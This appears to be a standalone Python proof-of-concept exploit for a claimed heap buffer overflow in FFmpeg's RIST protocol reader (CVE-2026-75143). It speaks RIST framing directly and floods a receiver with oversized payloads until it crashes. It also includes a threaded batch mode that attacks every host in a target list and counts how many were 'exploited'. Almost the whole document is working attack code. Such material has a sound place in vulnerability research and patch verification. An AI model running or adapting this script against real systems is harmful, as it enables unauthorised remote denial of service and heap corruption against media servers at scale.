FFmpeg RIST Protocol Heap Buffer Overflow

#!/usr/bin/env python3
    """
    CVE-2026-75143 - FFmpeg heap buffer overflow in the RIST protocol reader (libavformat/librist.c)
    Affected: FFmpeg 4.4 up to (not including) 9.0.1, built with --enable-librist
    Type: Heap out-of-bounds write (CWE-122) -> remote unauthenticated denial of service
    
    librist_read() ignored its `size` argument and copied the whole received RIST payload into the
    caller's buffer. The `async:` protocol wrapper asks for at most 4096 bytes at a time into its
    8 MiB prefetch FIFO, so a sender that emits payloads larger than that walks the write cursor off
    the end of the FIFO allocation and writes attacker-chosen bytes past it.
    
    This is a self-contained RIST main-profile sender: it speaks the GRE/RTP framing on the wire
    directly, so it needs no librist, no ffmpeg and no third-party Python packages.
    
    Success is decided purely from the network: the target is first confirmed to be a live RIST
    receiver (it answers our RTCP), then it is held under a sustained oversized stream, and the
    verdict is "crashed" only when those answers stop, or when the host starts returning ICMP
    port-unreachable, while we are still transmitting.
    
    Usage:
      python exploit.py --host 192.168.1.10 --port 1968
      python exploit.py --host rist://192.168.1.10:1968
      python exploit.py --host 192.168.1.10 --command "id" --payload-len 9968
      python exploit.py --host 192.168.1.10 --payload-len 7829   # tuned: writes 4080 bytes OOB
      python exploit.py --list targets.txt --workers 20
    """
    
    import argparse
    import os
    import select
    import socket
    import struct
    import sys
    import time
    from urllib.parse import urlparse
    
    CVE_ID    = "CVE-2026-75143"
    VULN_TYPE = "Heap out-of-bounds write / remote DoS"
    
    DEFAULT_PORT = 1968
    
    # libavformat/async.c: BUFFER_CAPACITY + READ_BACK_CAPACITY, elem_size 1.
    FIFO_SIZE = 8 * 1024 * 1024
    
    # Lower bound: async.c asks for at most 4096 bytes per read, so anything above that overflows
    # the window on every single read. Upper bound: librist refuses to send more than
    # RIST_MAX_PACKET_SIZE - 32, and libavformat/librist.c rejects more than MAX_PAYLOAD_SIZE.
    MIN_PAYLOAD = 4097
    MAX_PAYLOAD = 9968
    
    # RIST main profile framing (VSF TR-06-2 / librist src/proto/gre.h).
    GRE_FLAG_SEQ                  = 0x10      # flags1: sequence number present
    GRE_RVER1                     = 0x08      # flags2: RIST GRE version 1
    GRE_RVER2                     = 0x10      # flags2: RIST GRE version 2
    GRE_PROTO_KEEPALIVE           = 0x88B5
    GRE_PROTO_REDUCED             = 0x88B6
    GRE_PROTO_VSF                 = 0xCCE0
    VSF_TYPE_RIST                 = 0x0000
    VSF_SUBTYPE_REDUCED           = 0x0000
    VSF_SUBTYPE_KEEPALIVE         = 0x8000
    VSF_SUBTYPE_BUFFER_NEGOTIATION = 0x8002
    
    RTP_PT_MP2T = 33                          # any type below 72 is treated as data, not RTCP
    RTCP_SR, RTCP_RR, RTCP_SDES, RTCP_APP = 200, 201, 202, 204
    
    
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    def oob_length(payload_len: int, fifo_size: int = FIFO_SIZE) -> int:
        """Bytes written past the end of the FIFO on each wrap.
    
        Once the size_t underflow in fifo_write_common() unchains the prefetch loop, the write
        cursor advances by exactly payload_len per read from an offset of 0. The last read that
        still starts inside the buffer therefore begins at fifo_size - (fifo_size % payload_len)
        and runs payload_len bytes, so the excess is payload_len - (fifo_size % payload_len).
        A payload length that divides the FIFO evenly lands exactly on the end and never overflows.
        """
        rem = fifo_size % payload_len
        return 0 if rem == 0 else payload_len - rem
    
    
    def build_payload(size: int, command: str) -> bytes:
        """Attacker-chosen bytes. Whatever goes here is what lands outside the allocation."""
        unit = (command + "\n").encode("utf-8", "replace")
        if not unit:
            unit = b"\x00"
        reps = size // len(unit) + 1
        return (unit * reps)[:size]
    
    
    class RistSender(object):
        """A minimal RIST main-profile sender, spoken straight onto UDP.
    
        Only the pieces a receiver needs in order to accept a media flow are implemented: the
        keepalive, the buffer negotiation message, the RTCP compound that authenticates the peer,
        and the data channel itself.
        """
    
        def __init__(self, host, port, virt_dst_port=None, rist_version="auto"):
            self.host = host
            self.port = port
            self.virt_dst = virt_dst_port if virt_dst_port is not None else port
            # librist reads the low bit of the RTP SSRC as a "this is a retransmission" flag and
            # clears it to recover the flow id. An odd SSRC therefore desynchronises the flow that
            # the RTCP compound created, and the receiver silently drops every data packet.
            self.ssrc = struct.unpack("!I", os.urandom(4))[0] & 0x7FFFFFFE
            self.mac = os.urandom(6)
            self.cname = self.mac.hex()
            self.gre_seq = 0
            self.rtp_seq = 0
            self.version = 2 if rist_version == "auto" else int(rist_version)
            self.negotiated = (rist_version != "auto")
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1 << 21)
            self.sock.setblocking(False)
            self.sock.connect((host, port))
            self.rx_packets = 0
            self.tx_packets = 0
            self.tx_bytes = 0
            self.refusals = 0
    
        def close(self):
            try:
                self.sock.close()
            except Exception:
                pass
    
        def _seq(self):
            s = self.gre_seq
            self.gre_seq = (s + 1) & 0xFFFFFFFF
            return s
    
        def _gre(self, version, proto, subtype):
            if version == 2:
                return struct.pack("!BBHIHH", GRE_FLAG_SEQ, GRE_RVER2, GRE_PROTO_VSF,
                                   self._seq(), VSF_TYPE_RIST, subtype)
            return struct.pack("!BBHI", GRE_FLAG_SEQ, GRE_RVER1, proto, self._seq())
    
        def _reduced(self, version, src_port, dst_port, body):
            return (self._gre(version, GRE_PROTO_REDUCED, VSF_SUBTYPE_REDUCED)
                    + struct.pack("!HH", src_port, dst_port) + body)
    
        def send(self, data):
            self.sock.send(data)
            self.tx_packets += 1
            self.tx_bytes += len(data)
    
        # -- control channel ------------------------------------------------------------------
    
        def keepalive(self, version):
            # 6-byte MAC plus the two capability bytes a librist sender advertises.
            return self._gre(version, GRE_PROTO_KEEPALIVE, VSF_SUBTYPE_KEEPALIVE) + self.mac + b"\x25\x20"
    
        def buffer_negotiation(self, max_ms=2000, current_ms=0):
            return (self._gre(2, GRE_PROTO_VSF, VSF_SUBTYPE_BUFFER_NEGOTIATION)
                    + struct.pack("!HHH", max_ms, current_ms, 0))
    
        def _sdes(self):
            cname = self.cname.encode()
            pad = (-(2 + len(cname))) % 4
            body = struct.pack("!I", self.ssrc) + b"\x01" + bytes([len(cname)]) + cname + b"\x00" * pad
            return struct.pack("!BBH", 0x81, RTCP_SDES, len(body) // 4) + body
    
        def _sr(self):
            ntp = int(time.time() * 65536.0) & 0xFFFFFFFFFFFF
            body = struct.pack("!IQIII", self.ssrc, (ntp << 16) & 0xFFFFFFFFFFFFFFFF,
                               rtp_clock(), self.tx_packets, self.tx_bytes)
            return struct.pack("!BBH", 0x80, RTCP_SR, len(body) // 4) + body
    
        def _rr(self):
            return struct.pack("!BBHI", 0x80, RTCP_RR, 1, self.ssrc)
    
        def _app_echo(self):
            # RTCP APP "RIST" subtype 2, the round-trip echo request a librist sender emits.
            body = struct.pack("!I", self.ssrc) + b"RIST" + os.urandom(8) + b"\x00\x00\x00\x00"
            return struct.pack("!BBH", 0x82, RTCP_APP, len(body) // 4) + body
    
        def rtcp(self, version, first=False):
            body = (self._sr() if first else self._rr()) + self._sdes()
            if not first:
                body += self._app_echo()
            return self._reduced(version, 0x8000, self.virt_dst + 1, body)
    
        def handshake(self):
            """Announce ourselves in both GRE versions, the way a real sender probes a peer."""
            for version in (2, 1):
                for _ in range(3):
                    self.send(self.keepalive(version))
            self.send(self.buffer_negotiation())
            for version in (1, 2):
                self.send(self.rtcp(version, first=True))
                self.send(self.rtcp(version))
    
        def heartbeat(self):
            self.send(self.rtcp(self.version))
    
        # -- data channel ---------------------------------------------------------------------
    
        def data(self, payload):
            rtp = struct.pack("!BBHII", 0x80, RTP_PT_MP2T, self.rtp_seq & 0xFFFF,
                              rtp_clock(), self.ssrc)
            self.rtp_seq += 1
            return self._reduced(self.version, 0x8001, self.virt_dst, rtp + payload)
    
        # -- receive side ---------------------------------------------------------------------
    
        def drain(self):
            """Read everything pending. Returns (packets_seen, refused)."""
            seen, refused = 0, False
            while True:
                try:
                    data = self.sock.recv(65535)
                except BlockingIOError:
                    break
                except ConnectionRefusedError:
                    refused = True
                    break
                except OSError:
                    break
                if not data:
                    break
                if self.is_rist(data):
                    seen += 1
                    self.rx_packets += 1
                    if not self.negotiated:
                        self.version = 2 if data[1] == GRE_RVER2 else 1
                        self.negotiated = True
            return seen, refused
    
        @staticmethod
        def is_rist(data):
            if len(data) < 8 or data[0] != GRE_FLAG_SEQ:
                return False
            if data[1] not in (GRE_RVER1, GRE_RVER2):
                return False
            return struct.unpack("!H", data[2:4])[0] in (GRE_PROTO_KEEPALIVE, GRE_PROTO_REDUCED,
                                                         GRE_PROTO_VSF)
    
        def wait_for_reply(self, timeout, patient=False):
            """Hold the control channel open until the target answers.
    
            Returns seconds waited, or None. With `patient`, an ICMP port-unreachable does not end
            the wait: that is the expected state right after a crash, and a supervised deployment
            rebinds the port a few seconds later.
            """
            start = time.time()
            deadline = start + timeout
            last_beat = 0.0
            while time.time() < deadline:
                now = time.time()
                if now - last_beat >= 0.1:
                    try:
                        self.heartbeat()
                    except ConnectionRefusedError:
                        self.refusals += 1
                    except OSError:
                        if not patient:
                            return None
                    last_beat = now
                select.select([self.sock], [], [], 0.05)
                seen, refused = self.drain()
                if refused:
                    self.refusals += 1
                if seen:
                    return time.time() - start
            return None
    
    
    def rtp_clock():
        """90 kHz RTP clock.
    
        Only the rate matters. librist anchors a flow on the source time of its first packet and
        measures everything after that relatively, so a sender whose clock sits on a different epoch
        than the receiver's is absorbed by that anchor: the receiver logs a large one-off offset for
        the flow and then delivers normally.
        """
        return int(time.time() * 90000.0) & 0xFFFFFFFF
    
    
    def run_attack(host, port, command="id", payload_len=MAX_PAYLOAD, rate=550.0, duration=20.0,
                   probe_timeout=6.0, silence=3.0, recheck=6.0, virt_dst_port=None,
                   rist_version="auto", log=None):
        """Drive one target. Returns a result dict. Prints nothing unless `log` is given."""
    
        def say(*args):
            if log:
                log(*args)
    
        result = {
            "reachable": False, "crashed": False, "restarted": False,
            "packets": 0, "bytes": 0, "rx": 0, "refusals": 0, "elapsed": 0.0,
            "oob": oob_length(payload_len), "reason": "", "evidence": "",
        }
    
        sender = RistSender(host, port, virt_dst_port=virt_dst_port, rist_version=rist_version)
        payload = build_payload(payload_len, command)
        try:
            try:
                sender.handshake()
            except (ConnectionRefusedError, OSError) as exc:
                result["reason"] = "unreachable (%s)" % exc.__class__.__name__
                return result
    
            waited = sender.wait_for_reply(probe_timeout)
            if waited is None:
                result["reason"] = "no RIST response in %.0fs (not a RIST receiver, filtered, or already down)" % probe_timeout
                return result
            result["reachable"] = True
            say("target answered RIST control traffic after %.2fs (GRE version %d)"
                % (waited, sender.version))
    
            # Sustain the oversized stream. Keep the control channel alive alongside it so that
            # silence on the wire can only mean the receiver stopped, not that we stopped asking.
            start = time.time()
            deadline = start + duration
            last_rx = start
            last_beat = start
            # ICMP port-unreachable is advisory on UDP: the kernel can surface one that refers to a
            # datagram sent seconds earlier, so a single refusal is not proof of anything. It is used
            # here only to shorten the wait, and a crash is still declared on the receiver going quiet.
            refused_at = None
            gap = 1.0 / rate if rate > 0 else 0.0
            sent = 0
            rounds = 0
            while True:
                rounds += 1
                now = time.time()
                if now >= deadline:
                    result["reason"] = "survived the full %.0fs stream" % duration
                    break
                try:
                    sender.send(sender.data(payload))
                    sent += 1
                except ConnectionRefusedError:
                    sender.refusals += 1
                    refused_at = now
                except OSError as exc:
                    result["reason"] = "send failed after %d packets: %s" % (sent, exc)
                    break
    
                if now - last_beat >= 0.1:
                    try:
                        sender.heartbeat()
                    except ConnectionRefusedError:
                        sender.refusals += 1
                        refused_at = now
                    except OSError:
                        pass
                    last_beat = now
    
                seen, refused = sender.drain()
                if refused:
                    sender.refusals += 1
                    refused_at = time.time()
                if seen:
                    last_rx = time.time()
                else:
                    quiet = time.time() - last_rx
                    icmp_recent = refused_at is not None and (time.time() - refused_at) < 5.0
                    limit = min(silence, 1.0) if icmp_recent else silence
                    if quiet > limit:
                        result["crashed"] = True
                        corroboration = ("no reply for %.1fs plus ICMP port unreachable" % quiet
                                         if icmp_recent else "no reply for %.1fs" % quiet)
                        result["reason"] = ("receiver stopped answering while still under load: %s "
                                            "(%d packets, %.1fs)"
                                            % (corroboration, sent, time.time() - start))
                        break
    
                if gap:
                    delay = (start + rounds * gap) - time.time()
                    if delay > 0:
                        time.sleep(delay)
    
            result["packets"] = sent
            result["bytes"] = sender.tx_bytes
            result["rx"] = sender.rx_packets
            result["refusals"] = sender.refusals
            result["elapsed"] = time.time() - start
    
            if result["crashed"]:
                # Confirm from the client side: stop the stream and see whether anything is still
                # listening. A supervised deployment answers again once it has been restarted,
                # which is still a crash, just a survivable one.
                say("stream stopped, re-probing the port for %.0fs" % recheck)
                time.sleep(1.0)
                probe = RistSender(host, port, virt_dst_port=virt_dst_port, rist_version=rist_version)
                try:
                    try:
                        probe.handshake()
                    except (ConnectionRefusedError, OSError):
                        pass
                    back = probe.wait_for_reply(recheck, patient=True)
                except (ConnectionRefusedError, OSError):
                    back = None
                finally:
                    probe.close()
                result["restarted"] = back is not None
            return result
        finally:
            sender.close()
    
    
    def _try_exploit(host, port, use_tls=False, command="id", payload_len=MAX_PAYLOAD,
                     rate=550.0, duration=20.0, **kwargs):
        """Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
        try:
            r = run_attack(host, port, command=command, payload_len=payload_len, rate=rate,
                           duration=duration, probe_timeout=kwargs.get("probe_timeout", 6.0),
                           silence=kwargs.get("silence", 3.0), recheck=kwargs.get("recheck", 4.0),
                           virt_dst_port=kwargs.get("virt_dst_port"),
                           rist_version=kwargs.get("rist_version", "auto"))
        except Exception as exc:
            return False, "probe error (%s)" % exc.__class__.__name__
        if r["crashed"]:
            state = "restarted by a supervisor" if r["restarted"] else "still down"
            return True, ("receiver killed after %d packets of %d bytes, %s; %s"
                          % (r["packets"], payload_len, state, r["reason"]))
        if not r["reachable"]:
            return False, r["reason"]
        note = ""
        if oob_length(payload_len) <= 4096:
            note = " (note: --payload-len %d only writes %d bytes out of bounds, which a stock " \
                   "allocator can absorb in page padding - retry with 9968)" % (
                       payload_len, oob_length(payload_len))
        return False, "survived %d packets of %d bytes with the control channel unbroken%s" % (
            r["packets"], payload_len, note)
    
    
    def _parse_target(line: str, default_port: int, default_path: str = "/") -> tuple:
        """One target line -> (host, port, use_tls, path), or None to skip.
    
        Accepts bare hosts, host:port, and URLs. `rist://`, `async:rist://` and `udp://` forms are
        understood as well as http/https, so an inventory written in FFmpeg's own URL syntax can be
        fed in unchanged.
        """
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith("async:"):
            line = line[len("async:"):]
        if "://" in line:
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            host = p.hostname
            if host and host.startswith("@"):
                host = host[1:]
            if not host:
                return None
            return host, p.port or (443 if tls else default_port), tls, path
        if line.startswith("@"):
            line = line[1:]
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file: str, default_port: int, workers: int = 10, **kwargs) -> None:
        """Batch scan from file."""
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, _path = t
            label = "rist://%s:%d" % (host, port)
            ok, evidence = _try_exploit(host, port, use_tls, **kwargs)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    def exploit(host, port, use_tls, command, payload_len=MAX_PAYLOAD, rate=550.0, duration=20.0,
                probe_timeout=6.0, silence=3.0, recheck=6.0, virt_dst_port=None,
                rist_version="auto"):
        header(host, port)
    
        oob = oob_length(payload_len)
        section("PRIMITIVE", "\n".join([
            "async: prefetch FIFO      : %d bytes, one flat allocation, never resized" % FIFO_SIZE,
            "async: asks librist_read for at most 4096 bytes per read",
            "RIST payload we will send : %d bytes  (the copy ignores the 4096 limit)" % payload_len,
            "FIFO size %% payload_len   : %d" % (FIFO_SIZE % payload_len),
            "bytes written past the end: %d per wrap, repeating every %d packets"
            % (oob, FIFO_SIZE // payload_len + 1),
            "content written past the end: attacker-chosen, payload[%d:%d]"
            % (FIFO_SIZE % payload_len, payload_len),
        ]))
    
        def log(msg):
            print("        %s" % msg)
    
        step(1, "Opening the RIST control channel and announcing a sender peer")
        step(2, "Waiting for the target to answer, which proves it is a live RIST receiver")
        step(3, "Streaming %d-byte data blocks at ~%.0f/s for up to %.0fs" % (payload_len, rate, duration))
        step(4, "Watching the control channel for the receiver going away")
        print("")
    
        r = run_attack(host, port, command=command, payload_len=payload_len, rate=rate,
                       duration=duration, probe_timeout=probe_timeout, silence=silence,
                       recheck=recheck, virt_dst_port=virt_dst_port, rist_version=rist_version,
                       log=log)
    
        if not r["reachable"]:
            section("TARGET STATE", r["reason"])
            done(False, "No RIST receiver answered on %s:%d - %s" % (host, port, r["reason"]))
    
        summary = "\n".join([
            "packets sent      : %d" % r["packets"],
            "bytes sent        : %d" % r["bytes"],
            "RIST replies seen : %d" % r["rx"],
            "ICMP unreachable  : %d (advisory only, never decisive on its own)" % r["refusals"],
            "elapsed           : %.1fs" % r["elapsed"],
            "wraps completed   : ~%d" % (r["packets"] * payload_len // FIFO_SIZE),
            "outcome           : %s" % r["reason"],
        ])
        section("STREAM SUMMARY", summary)
    
        if not r["crashed"]:
            if oob > 4096:
                verdict = ("the copy is clamped to the caller's buffer, so this build carries the fix")
            else:
                verdict = ("either the copy is clamped (fixed build) or this --payload-len writes only "
                           "%d bytes out of bounds, which a stock allocator can absorb in the page "
                           "padding after the FIFO without faulting; re-run with --payload-len 9968 "
                           "before concluding the target is fixed" % oob)
            section("TARGET STATE", verdict)
            done(False, "Target absorbed %d packets of %d bytes and kept answering - %s"
                        % (r["packets"], payload_len, verdict))
    
        state = ("the port answered again on re-probe, so a supervisor restarted the process"
                 if r["restarted"] else "the port was still silent on re-probe")
        section("CRASH EVIDENCE", "\n".join([
            r["reason"],
            state,
            "",
            "The overflow is an out-of-bounds WRITE of %d attacker-chosen bytes immediately after" % oob,
            "the %d-byte prefetch FIFO. It is not a read and nothing is echoed back, so there is no" % FIFO_SIZE,
            "information leak to chain from. See EXPLOITATION.md for why the primitive stops short",
            "of code execution on a stock build.",
        ]))
    
        done(True, "Remote unauthenticated heap out-of-bounds write (%d bytes/wrap of attacker-chosen "
                   "data) killed the receiver after %d packets - %s" % (oob, r["packets"], r["reason"]))
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(
            description="%s - FFmpeg RIST reader heap overflow PoC" % CVE_ID,
            epilog="The target must be an FFmpeg receiver opened as async:rist://@<addr>:<port>. "
                   "A plain rist:// receiver sizes its buffer to the maximum payload and does not "
                   "overflow. RIST runs over UDP and has no TLS layer, so no TLS switches are offered.")
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or URL (e.g. rist://host:1968)")
        target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=DEFAULT_PORT,
                            help="Target UDP port (default: %d)" % DEFAULT_PORT)
        parser.add_argument("--command", default="id",
                            help="Attacker-chosen content placed in the payload, and therefore in the "
                                 "bytes written out of bounds (default: id). No control-transfer "
                                 "primitive exists on a stock build, so it is not executed.")
        parser.add_argument("--payload-len", type=int, default=MAX_PAYLOAD,
                            help="RIST payload size, %d-%d. Sets how many bytes land past the end of "
                                 "the FIFO (default: %d, which writes %d bytes out of bounds)"
                                 % (MIN_PAYLOAD, MAX_PAYLOAD, MAX_PAYLOAD, oob_length(MAX_PAYLOAD)))
        parser.add_argument("--rate", type=float, default=550.0,
                            help="Packets per second (default: 550). Much faster overruns the "
                                 "receiver's FIFO and tears the session down before the overflow.")
        parser.add_argument("--duration", type=float, default=20.0,
                            help="Seconds to sustain the stream (default: 20)")
        parser.add_argument("--probe-timeout", type=float, default=6.0,
                            help="Seconds to wait for the target's first RIST reply (default: 6)")
        parser.add_argument("--silence", type=float, default=3.0,
                            help="Seconds of no reply, under load, that count as a crash (default: 3)")
        parser.add_argument("--recheck", type=float, default=6.0,
                            help="Seconds to re-probe the port after a crash (default: 6)")
        parser.add_argument("--virt-dst-port", type=int, default=None,
                            help="RIST virtual destination port (default: same as --port)")
        parser.add_argument("--rist-version", choices=("auto", "1", "2"), default="auto",
                            help="GRE framing version for the data channel (default: auto-negotiate)")
        parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
        args = parser.parse_args()
    
        if not (MIN_PAYLOAD <= args.payload_len <= MAX_PAYLOAD):
            parser.error("--payload-len must be between %d and %d" % (MIN_PAYLOAD, MAX_PAYLOAD))
        if oob_length(args.payload_len) == 0:
            parser.error("--payload-len %d divides the %d-byte FIFO exactly, so the write lands on "
                         "the last byte and never overflows" % (args.payload_len, FIFO_SIZE))
    
        common = dict(command=args.command, payload_len=args.payload_len, rate=args.rate,
                      duration=args.duration, probe_timeout=args.probe_timeout,
                      silence=args.silence, recheck=args.recheck,
                      virt_dst_port=args.virt_dst_port, rist_version=args.rist_version)
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers, **common)
        else:
            parsed = _parse_target(args.host, args.port)
            host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
            exploit(host, port, use_tls, **common)